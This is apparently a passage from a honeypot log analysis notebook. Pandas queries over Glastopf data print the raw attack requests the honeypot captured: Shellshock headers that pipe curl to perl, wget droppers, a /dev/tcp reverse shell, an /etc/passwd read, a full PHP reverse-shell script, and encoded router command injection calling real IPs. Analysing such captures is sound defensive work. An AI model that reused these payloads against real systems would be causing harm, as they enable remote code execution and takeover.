http://202.143.160.141/lib21/index.cgi | perl', u'GET /bigconf.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /bandwidth/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /b2-include/b2edit.showposts.phpHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /axis-cgi/buffer/command.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /apps/web/vs_diag.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /aktivate/cgi-bin/catgy.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /agora.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /administrator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /_mt/mt.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET / HTTP/1.0\r\nAccept: */*\r\nUser-Agent: () { :;}; echo BANG: $(cat /etc/passwd)', u'GET / HTTP/1.0\r\nAccept: */*\r\nUser-Agent: () { :;}; echo BANG: $(cat /etc/passwd)', u'GET /cgi-bin-sdb/printenv HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/fire.cgi HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "cd /var/tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi"', u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\r\nConnection: close\r\nCookie: () { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1\r\nUser-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1', u'GET /cgi-bin/fire.cgi HTTP/1.0\r\nHost: www.www.www.www\r\nUser-Agent: () { :;}; /bin/bash -c "cd /var/tmp;wget http://184.171.247.165/wi;curl -O http://184.171.247.165/wi;perl wi;rm -rf wi"']
For any request that might contain shellshock, is there an easy way to pull out the urls that might host potential malware?
glastopf_df[glastopf_df['request_raw'].str.contains('};')]['request_raw'].apply(lambda x: x[x.find('http://'):x[x.find('http://'):].find(' ') + x.find('http://')] if x.find('http://') > 0 else 'a').unique()
array([u'http://stablehost.us/bots/regular.bot', u'http://www.baidu.com\r\nUser-Agent:', 'a', u'http://www.ykum.com//bbs/skin/zero_vote/cpan_root', u'http://202.143.160.141/lib21/index.cgi', u'http://184.171.247.165/wi;curl'], dtype=object)
Look for various encoded requests, this is usually a good sign that an attacker is trying to inject information into a request in a potentially obfuscated way.
glastopf_df[glastopf_df['request_raw'].str.contains('%')]['request_raw'].value_counts()
POST /phpmyadmin/scripts/setup.php HTTP/1.1\r\nConnection: TE\r\nContent-Length: 206\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: yyy.yyy.yyy.yyy\r\nReferer: http://yyy.yyy.yyy.yyy/phpmyadmin/scripts/setup.php\r\nTe: deflate,gzip;q=0.3\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]\r\n\r\naction=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A31%3A%22ftp%3A%2F%2F104%2E192%2E103%2E3%2Fwebmin3%2Ephp%22%3B%7D%7D 12 POST / HTTP/1.1\r\nAccept: */*\r\nConnection: Keep-Alive\r\nContent-Length: 395\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0\r\n\r\nredirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()} 7 GET /w00tw00t.at.blackhats.romanian.anti-sec:%29 HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us\r\nConnection: Close\r\nHost: www.www.www.www\r\nUser-Agent: ZmEu 5 POST / HTTP/1.1\r\nAccept: */*\r\nConnection: Keep-Alive\r\nContent-Length: 395\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: Mozilla/5.0\r\n\r\nredirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()} 2 GET /w00tw00t.at.blackhats.romanian.anti-sec:%29 HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us\r\nConnection: Close\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: ZmEu 2 GET %3Ctitle%3EphpMyAdmin HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us\r\nConnection: Close\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) 2 POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 2171\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php system("wget 208.85.177.238/.x/hb/php02 -O /tmp/.bash_h1s7;perl /tmp/.bash_h1s7 85.214.73.166;rm -rf /tmp/.bash_h1s7 &"); ?>set_time_limit(0);\n$ip = '91.121.105.21';\n$port = 22;\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n$daemon = 0;\n$debug = 0;\nif (function_exists('pcntl_fork')) {\n\t$pid = pcntl_fork();\t\n\tif ($pid == -1) {\n\t\tprintit("ERROR: Can't fork");\n\t\texit(1);\n\t}\n\tif ($pid) {\n\t\texit(0);\n\t}\n\tif (posix_setsid() == -1) {\n\t\tprintit("Error: Can't setsid()");\n\t\texit(1);\n\t}\n\t$daemon = 1;\n} else {\n\tprintit("WARNING: Failed to daemonise.");\n}\nchdir("/");\numask(0);\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n\tprintit("$errstr ($errno)");\n\texit(1);\n}\n$descriptorspec = array(\n 0 => array("pipe", "r"),\n 1 => array("pipe", "w"),\n 2 => array("pipe", "w")\n);\n$process = proc_open($shell, $descriptorspec, $pipes);\nif (!is_resource($process)) {\n\tprintit("ERROR: Can't spawn shell");\n\texit(1);\n}\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\nwhile (1) {\n\tif (feof($sock)) {\n\t\tprintit("ERROR: Shell connection terminated");\n\t\tbreak;\n\t}\n\tif (feof($pipes[1])) {\n\t\tprintit("ERROR: Shell process terminated");\n\t\tbreak;\n\t}\n\t$read_a = array($sock, $pipes[1], $pipes[2]);\n\t$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\tif (in_array($sock, $read_a)) {\n\t\tif ($debug) printit("SOCK READ");\n\t\t$input = fread($sock, $chunk_size);\n\t\tif ($debug) printit("SOCK: $input");\n\t\tfwrite($pipes[0], $input);\n\t}\n\tif (in_array($pipes[1], $read_a)) {\n\t\tif ($debug) printit("STDOUT READ");\n\t\t$input = fread($pipes[1], $chunk_size);\n\t\tif ($debug) printit("STDOUT: $input");\n\t\tfwrite($sock, $input);\n\t}\n\tif (in_array($pipes[2], $read_a)) {\n\t\tif ($debug) printit("STDERR READ");\n\t\t$input = fread($pipes[2], $chunk_size);\n\t\tif ($debug) printit("STDERR: $input");\n\t\tfwrite($sock, $input);\n\t}\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\nfunction printit ($string) {\n\tif (!$daemon) {\n\t\tprint "$string\n";\n\t}\n}\nexit(1);\n?> 1 POST /phpmyadmin/scripts/setup.php HTTP/1.1\r\nConnection: TE\r\nContent-Length: 205\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: yyy.yyy.yyy.yyy\r\nReferer: http://yyy.yyy.yyy.yyy/phpmyadmin/scripts/setup.php\r\nTe: deflate,gzip;q=0.3\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]\r\n\r\naction=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A30%3A%22ftp%3A%2F%2F104%2E192%2E103%2E3%2Fwebmin%2Ephp%22%3B%7D%7D 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%65%31%38%63%37%31%37%62%20%68%74%74%70%3a%2f%2f%31%38%34%2e%37%38%2e%31%37%37%2e%31%34%34%3a%33%32%30%30%22%20%3e%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%65%31%38%63%37%31%37%62%22%20%3e%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%65%31%38%63%37%31%37%62%22%20%3e%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%65%31%38%63%37%31%37%62%22%20%3e%3e%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%65%31%38%63%37%31%37%62%2e%73%68%3b%2e%2f%2e%65%31%38%63%37%31%37%62%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /cgi-bin/wlogin.cgi HTTP/1.1\r\nConnection: Keep-Alive\r\nContent-Length: 27\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: yyy.yyy.yyy.yyy\r\n\r\naa=YWRtaW4%3d&ab=YWRtaW4%3d 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%64%36%35%65%33%36%37%37%20%68%74%74%70%3a%2f%2f%31%31%30%2e%37%37%2e%32%30%32%2e%31%35%3a%33%32%30%30%22%20%3e%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%64%36%35%65%33%36%37%37%22%20%3e%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%64%36%35%65%33%36%37%37%22%20%3e%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%64%36%35%65%33%36%37%37%22%20%3e%3e%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%64%36%35%65%33%36%37%37%2e%73%68%3b%2e%2f%2e%64%36%35%65%33%36%37%37%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1030\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%31%31%33%33%65%34%64%34%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%37%2e%36%34%3a%33%32%30%30%22%20%3e%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%31%31%33%33%65%34%64%34%22%20%3e%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%31%31%33%33%65%34%64%34%22%20%3e%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%31%31%33%33%65%34%64%34%22%20%3e%3e%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%31%31%33%33%65%34%64%34%2e%73%68%3b%2e%2f%2e%31%31%33%33%65%34%64%34%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /phpmyadmin/scripts/setup.php HTTP/1.1\r\nConnection: Keep-Alive, TE\r\nContent-Length: 205\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: yyy.yyy.yyy.yyy\r\nKeep-Alive: 300\r\nReferer: http://yyy.yyy.yyy.yyy/phpmyadmin/scripts/setup.php\r\nTe: deflate,gzip;q=0.3\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]\r\n\r\naction=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A30%3A%22ftp%3A%2F%2F104%2E192%2E103%2E3%2Fwebmin%2Ephp%22%3B%7D%7D 1 POST /tmUnblock.cgi HTTP/1.1\r\nConnection: Keep-Alive\r\nContent-Length: 1030\r\nHost: www.www.www.www\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%37%35%35%62%34%35%36%64%20%68%74%74%70%3a%2f%2f%38%35%2e%31%39%34%2e%38%32%2e%31%30%3a%33%32%30%30%22%20%3e%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%37%35%35%62%34%35%36%64%22%20%3e%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%37%35%35%62%34%35%36%64%22%20%3e%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%37%35%35%62%34%35%36%64%22%20%3e%3e%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%37%35%35%62%34%35%36%64%2e%73%68%3b%2e%2f%2e%37%35%35%62%34%35%36%64%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 GET /w00tw00t.at.ISC.SANS.DFind:%29 HTTP/1.1 1 POST /cgi-bin/wlogin.cgi HTTP/1.1\r\nConnection: Keep-Alive\r\nContent-Length: 27\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: yyy.yyy.yyy.yyy:8080\r\n\r\naa=YWRtaW4%3d&ab=YWRtaW4%3d 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%63%39%38%37%65%30%33%65%20%68%74%74%70%3a%2f%2f%39%38%2e%31%35%39%2e%38%31%2e%31%33%37%3a%33%32%30%30%22%20%3e%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%63%39%38%37%65%30%33%65%22%20%3e%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%63%39%38%37%65%30%33%65%22%20%3e%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%63%39%38%37%65%30%33%65%22%20%3e%3e%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%63%39%38%37%65%30%33%65%2e%73%68%3b%2e%2f%2e%63%39%38%37%65%30%33%65%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%63%65%33%65%34%34%39%32%20%68%74%74%70%3a%2f%2f%39%39%2e%36%30%2e%32%34%34%2e%31%33%34%3a%33%32%30%30%22%20%3e%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%63%65%33%65%34%34%39%32%22%20%3e%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%63%65%33%65%34%34%39%32%22%20%3e%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%63%65%33%65%34%34%39%32%22%20%3e%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%2e%2f%2e%63%65%33%65%34%34%39%32%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1039\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%62%37%63%65%38%33%37%65%20%68%74%74%70%3a%2f%2f%31%34%38%2e%32%34%34%2e%31%31%34%2e%32%34%30%3a%33%32%30%30%22%20%3e%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%62%37%63%65%38%33%37%65%22%20%3e%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%62%37%63%65%38%33%37%65%22%20%3e%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%62%37%63%65%38%33%37%65%22%20%3e%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%2e%2f%2e%62%37%63%65%38%33%37%65%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%30%38%62%36%37%65%35%61%20%68%74%74%70%3a%2f%2f%31%37%33%2e%32%38%2e%31%37%36%2e%31%39%31%3a%33%32%30%30%22%20%3e%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%30%38%62%36%37%65%35%61%22%20%3e%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%30%38%62%36%37%65%35%61%22%20%3e%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%30%38%62%36%37%65%35%61%22%20%3e%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%2e%2f%2e%30%38%62%36%37%65%35%61%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST 